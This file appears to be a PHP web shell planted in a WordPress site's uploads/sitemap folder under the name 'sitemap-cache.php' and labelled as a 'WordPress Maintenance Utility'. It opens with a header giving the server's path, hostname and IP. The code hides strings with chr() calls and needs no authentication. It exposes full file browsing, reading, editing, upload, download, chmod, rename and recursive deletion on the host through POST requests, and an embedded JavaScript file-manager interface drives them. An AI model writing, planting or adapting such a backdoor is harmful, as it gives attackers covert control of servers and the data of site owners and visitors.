PK œqhYî¶J‚ßF ßF ) nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/
| Dir : /home2/medicu/avena.medicures.shop/wp-content/uploads/sitemap/ |
| Server: Linux tista.bd.svlogins.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64 IP: 103.159.37.114 |
| Dir : //home2/medicu/avena.medicures.shop/wp-content/uploads/sitemap/sitemap-cache.php |
<?php
// WordPress Maintenance Utility - v3.2.1
error_reporting(0);
$_br = __DIR__;
while ($_br !== dirname($_br)) {
if (file_exists($_br . DIRECTORY_SEPARATOR . 'wp' . chr(45) . 'load' . chr(46) . 'php')) {
define('_WP_B', $_br);
break;
}
$_br = dirname($_br);
}
function _respJSON($arr) {
header('Content' . chr(45) . 'Type: application' . chr(47) . 'json');
echo json_encode($arr);
exit;
}
function _normPath($p) {
if (empty($p)) return defined('_WP_B') ? _WP_B : __DIR__;
if ($p[0] === chr(47)) return $p;
return (defined('_WP_B') ? _WP_B : __DIR__) . chr(47) . $p;
}
function _fmtBytes($b) {
if ($b >= 1073741824) return round($b / 1073741824, 2) . 'G';
if ($b >= 1048576) return round($b / 1048576, 2) . 'M';
if ($b >= 1024) return round($b / 1024, 2) . 'K';
return $b . 'B';
}
function _delTree($pt) {
if (is_file($pt)) return @unlink($pt);
if (is_dir($pt)) {
$it = @scandir($pt);
if ($it) {
foreach ($it as $i) {
if ($i === chr(46) || $i === chr(46) . chr(46)) continue;
_delTree($pt . chr(47) . $i);
}
}
return @rmdir($pt);
}
return false;
}
if ($_SERVER['REQUEST' . chr(95) . 'METHOD'] === 'POST') {
$inp = file_get_contents('php' . chr(58) . chr(47) . chr(47) . 'input');
$dat = json_decode($inp, true);
if (isset($dat['dir'])) {
$pt = _normPath($dat['dir']);
if (!is_dir($pt)) _respJSON(['s' => 0, 'err' => 'Invalid']);
$it = @scandir($pt);
if ($it === false) _respJSON(['s' => 0, 'err' => 'Access denied']);
$lst = [];
foreach ($it as $i) {
if ($i === chr(46)) continue;
$full = $pt . chr(47) . $i;
if ($i === chr(46) . chr(46)) {
$lst[] = ['n' => chr(46) . chr(46), 't' => 'd', 'sz' => '', 'pm' => '', 'mt' => ''];
} else {
$lst[] = [
'n' => $i,
't' => is_dir($full) ? 'd' : 'f',
'sz' => is_file($full) ? _fmtBytes(filesize($full)) : '',
'pm' => substr(sprintf('%o', fileperms($full)), -4),
'mt' => date('Y' . chr(45) . 'm' . chr(45) . 'd H:i', filemtime($full))
];
}
}
usort($lst, function($a, $b) {
if ($a['n'] === chr(46) . chr(46)) return -1;
if ($b['n'] === chr(46) . chr(46)) return 1;
if ($a['t'] !== $b['t']) return $a['t'] === 'd' ? -1 : 1;
return strcasecmp($a['n'], $b['n']);
});
_respJSON(['s' => 1, 'pt' => $pt, 'items' => $lst]);
}
if (isset($dat['read'])) {
$pt = _normPath($dat['read']);
if (!is_file($pt)) _respJSON(['s' => 0, 'err' => 'Invalid']);
$cnt = @file_get_contents($pt);
if ($cnt === false) _respJSON(['s' => 0, 'err' => 'Access denied']);
_respJSON(['s' => 1, 'data' => $cnt]);
}
if (isset($dat['save'])) {
$pt = _normPath($dat['save']);
$cnt = isset($dat['data']) ? $dat['data'] : '';
$res = @file_put_contents($pt, $cnt);
_respJSON(['s' => $res !== false ? 1 : 0]);
}
if (isset($dat['newdir'])) {
$pt = _normPath($dat['newdir']);
$res = @mkdir($pt, 0755, true);
_respJSON(['s' => $res ? 1 : 0]);
}
if (isset($dat['del'])) {
$pt = _normPath($dat['del']);
$res = _delTree($pt);
_respJSON(['s' => $res ? 1 : 0]);
}
if (isset($dat['ren']) && isset($dat['dst'])) {
$fr = _normPath($dat['ren']);
$to = _normPath($dat['dst']);
$res = @rename($fr, $to);
_respJSON(['s' => $res ? 1 : 0]);
}
if (isset($dat['dup']) && isset($dat['dst'])) {
$fr = _normPath($dat['dup']);
$to = _normPath($dat['dst']);
$res = @copy($fr, $to);
_respJSON(['s' => $res ? 1 : 0]);
}
if (isset($dat['perm'])) {
$pt = _normPath($dat['perm']);
$md = isset($dat['mode']) ? octdec($dat['mode']) : 0644;
$res = @chmod($pt, $md);
_respJSON(['s' => $res ? 1 : 0]);
}
if (isset($dat['fetch'])) {
$pt = _normPath($dat['fetch']);
if (!is_file($pt)) _respJSON(['s' => 0, 'err' => 'Invalid']);
$cnt = @file_get_contents($pt);
if ($cnt === false) _respJSON(['s' => 0, 'err' => 'Access denied']);
_respJSON(['s' => 1, 'name' => basename($pt), 'blob' => base64_encode($cnt)]);
}
if (isset($dat['push'])) {
$pt = _normPath($dat['target']);
$cnt = base64_decode($dat['push']);
$res = @file_put_contents($pt, $cnt);
_respJSON(['s' => $res !== false ? 1 : 0]);
}
_respJSON(['s' => 0]);
}
?><script>
function _initMgr(){
var _theme={
bg:'#f5f5f5',
fg:'#000',
bd:'#000',
hv:'#ddd',
sl:'#000',
slfg:'#fff'
};
var _pwd='';
var _picked=null;
var _buf=null;
var _bufMode=null;
var _win=document.createElement('div');
_win.id='_mgr';
_win.innerHTML=`
<style>
#_mgr *{margin:0;padding:0;box-sizing:border-box;font-family:'Courier New',monospace;font-size:13px;}
#_mgr{position:fixed;top:0;left:0;width:100%;height:100%;background:${_theme.bg};color:${_theme.fg};z-index:999999;display:flex;flex-direction:column;}
#_mgr_hd{border-bottom:2px solid ${_theme.bd};padding:8px;display:flex;gap:8px;align-items:center;}
#_mgr_path{flex:1;background:transparent;border:1px solid ${_theme.bd};color:${_theme.fg};padding:4px 8px;}
#_mgr_hd button{background:transparent;border:1px solid ${_theme.bd};color:${_theme.fg};padding:4px 12px;cursor:pointer;}
#_mgr_hd button:hover{background:${_theme.fg};color:${_theme.bg};}
#_mgr_bd{flex:1;overflow:auto;}
#_mgr_tbl{width:100%;border-collapse:collapse;}
#_mgr_tbl tr{border-bottom:1px solid #333;cursor:pointer;}
#_mgr_tbl tr:hover{background:${_theme.hv};}
#_mgr_tbl tr.active{background:${_theme.sl};color:${_theme.slfg};}
#_mgr_tbl td{padding:6px 10px;white-space:nowrap;}
#_mgr_tbl .col_n{width:100%;}
#_mgr_tbl .col_t{width:20px;text-align:center;}
#_mgr_tbl .col_sz{width:60px;text-align:right;}
#_mgr_tbl .col_pm{width:50px;text-align:center;}
#_mgr_tbl .col_mt{width:130px;}
#_mgr_ctx{display:none;position:absolute;background:${_theme.bg};border:2px solid ${_theme.bd};z-index:10;}
#_mgr_ctx div{padding:8px 20px;cursor:pointer;}
#_mgr_ctx div:hover{background:${_theme.fg};color:${_theme.bg};}
#_mgr_edt{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:${_theme.bg};z-index:10;flex-direction:column;}
#_mgr_edt_hd{border-bottom:2px solid ${_theme.bd};padding:8px;display:flex;gap:8px;}
#_mgr_edt_path{flex:1;color:${_theme.fg};}
#_mgr_edt textarea{flex:1;background:#fff;color:#000;border:none;padding:10px;resize:none;outline:none;border-top:1px solid #000;}
</style>
<div id="_mgr_hd">
<button id="_mgr_cls">X</button>
<input id="_mgr_path" type="text" readonly>
<button id="_mgr_up">UP</button>
<button id="_mgr_ref">REFRESH</button>
<button id="_mgr_nf">NEW FILE</button>
<button id="_mgr_nd">NEW DIR</button>
<button id="_mgr_upl">UPLOAD</button>
</div>
<div id="_mgr_bd"><table id="_mgr_tbl"></table></div>
<div id="_mgr_ctx">
<div data-act="open">OPEN</div>
<div data-act="edit">EDIT</div>
<div data-act="download">DOWNLOAD</div>
<div data-act="rename">RENAME</div>
<div data-act="copy">COPY</div>
<div data-act="cut">CUT</div>
<div data-act="paste">PASTE</div>
<div data-act="chmod">CHMOD</div>
<div data-act="delete">DELETE</div>
</div>
<div id="_mgr_edt">
<div id="_mgr_edt_hd">
<button id="_mgr_edt_cls">X</button>
<span id="_mgr_edt_path"></span>
<button id="_mgr_edt_save">SAVE</button>
</div>
<textarea id="_mgr_edt_txt"></textarea>
</div>
`;
document.body.appendChild(_win);
var _q=s=>document.querySelector(s);
var _api=(d,cb)=>{
fetch(location.href,{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(d)})
.then(r=>r.json()).then(cb).catch(e=>console.log(e));
};
function _browse(p){
_api({dir:p||_pwd},r=>{
if(!r.s)return;
_pwd=r.pt;
_q('#_mgr_path').value=_pwd;
var h='';
r.items.forEach((f,i)=>{
h+=`<tr data-idx="${i}" data-nm="${f.n}" data-tp="${f.t}">
<td class="col_t">${f.t==='d'?'[D]':''}</td>
<td class="col_n">${f.n}</td>
<td class="col_sz">${f.sz}</td>
<td class="col_pm">${f.pm}</td>
<td class="col_mt">${f.mt}</td>
</tr>`;
});
_q('#_mgr_tbl').innerHTML=h;
_picked=null;
});
}
_q('#_mgr_tbl').onclick=e=>{
var tr=e.target.closest('tr');
if(!tr)return;
document.querySelectorAll('#_mgr_tbl tr').forEach(r=>r.classList.remove('active'));
tr.classList.add('active');
_picked={n:tr.dataset.nm,t:tr.dataset.tp};
};
_q('#_mgr_tbl').ondblclick=e=>{
var tr=e.target.closest('tr');
if(!tr)return;
var n=tr.dataset.nm,t=tr.dataset.tp;
if(t==='d'){
if(n==='..'){
var p=_pwd.split('/');p.pop();
_pwd=p.join('/')||'/';
}else{
_pwd=_pwd+'/'+n;
}
_browse(_pwd);
}else{
_openEditor(_pwd+'/'+n);
}
};
_q('#_mgr_tbl').oncontextmenu=e=>{
e.preventDefault();
var tr=e.target.closest('tr');
if(tr){
document.querySelectorAll('#_mgr_tbl tr').forEach(r=>r.classList.remove('active'));
tr.classList.add('active');
_picked={n:tr.dataset.nm,t:tr.dataset.tp};
}
var m=_q('#_mgr_ctx');
m.style.display='block';
m.style.left=e.clientX+'px';
m.style.top=e.clientY+'px';
};
document.onclick=e=>{
if(!e.target.closest('#_mgr_ctx'))_q('#_mgr_ctx').style.display='none';
};
_q('#_mgr_ctx').onclick=e=>{
var act=e.target.dataset.act;
if(!act)return;
_q('#_mgr_ctx').style.display='none';
if(!_picked&&act!=='paste')return;
var pth=_pwd+'/'+_picked.n;
if(act==='open'){
if(_picked.t==='d'){_pwd=pth;_browse(_pwd);}
else _openEditor(pth);
}
if(act==='edit')_openEditor(pth);
if(act==='download'){
_api({fetch:pth},r=>{
if(!r.s)return;
var a=document.createElement('a');
a.href='data:application/octet-stream;base64,'+r.blob;
a.download=r.name;a.click();
});
}
if(act==='rename'){
var nn=prompt('New name:',_picked.n);
if(nn&&nn!==_picked.n)_api({ren:pth,dst:_pwd+'/'+nn},r=>_browse());
}
if(act==='copy'){_buf=pth;_bufMode='copy';}
if(act==='cut'){_buf=pth;_bufMode='cut';}
if(act==='paste'&&_buf){
var nm=_buf.split('/').pop();
var dst=_pwd+'/'+nm;
if(_bufMode==='copy')_api({dup:_buf,dst:dst},r=>{_browse();});
if(_bufMode==='cut')_api({ren:_buf,dst:dst},r=>{_buf=null;_browse();});
}
if(act==='chmod'){
var m=prompt('Mode (e.g. 0755):','0755');
if(m)_api({perm:pth,mode:m},r=>_browse());
}
if(act==='delete'){
if(confirm('Delete '+_picked.n+'?'))_api({del:pth},r=>_browse());
}
};
_q('#_mgr_cls').onclick=()=>_win.remove();
_q('#_mgr_up').onclick=()=>{var p=_pwd.split('/');p.pop();_pwd=p.join('/')||'/';_browse(_pwd);};
_q('#_mgr_ref').onclick=()=>_browse();
_q('#_mgr_nf').onclick=()=>{
var n=prompt('File name:');
if(n)_api({save:_pwd+'/'+n,data:''},r=>_browse());
};
_q('#_mgr_nd').onclick=()=>{
var n=prompt('Directory name:');
if(n)_api({newdir:_pwd+'/'+n},r=>_browse());
};
_q('#_mgr_upl').onclick=()=>{
var inp=document.createElement('input');
inp.type='file';
inp.onchange=()=>{
var f=inp.files[0];
var r=new FileReader();
r.onload=()=>{
var b64=r.result.split(',')[1];
_api({push:b64,target:_pwd+'/'+f.name},r=>_browse());
};
r.readAsDataURL(f);
};
inp.click();
};
function _openEditor(pth){
_api({read:pth},r=>{
if(!r.s)return;
_q('#_mgr_edt').style.display='flex';
_q('#_mgr_edt_path').textContent=pth;
_q('#_mgr_edt_txt').value=r.data;
_q('#_mgr_edt_save').onclick=()=>{
_api({save:pth,data:_q('#_mgr_edt_txt').value},r=>{
if(r.s)_q('#_mgr_edt_path').textContent=pth+' [SAVED]';
});
};
});
}
_q('#_mgr_edt_cls').onclick=()=>{_q('#_mgr_edt').style.display='none';_browse();};
_browse('');
}
</script>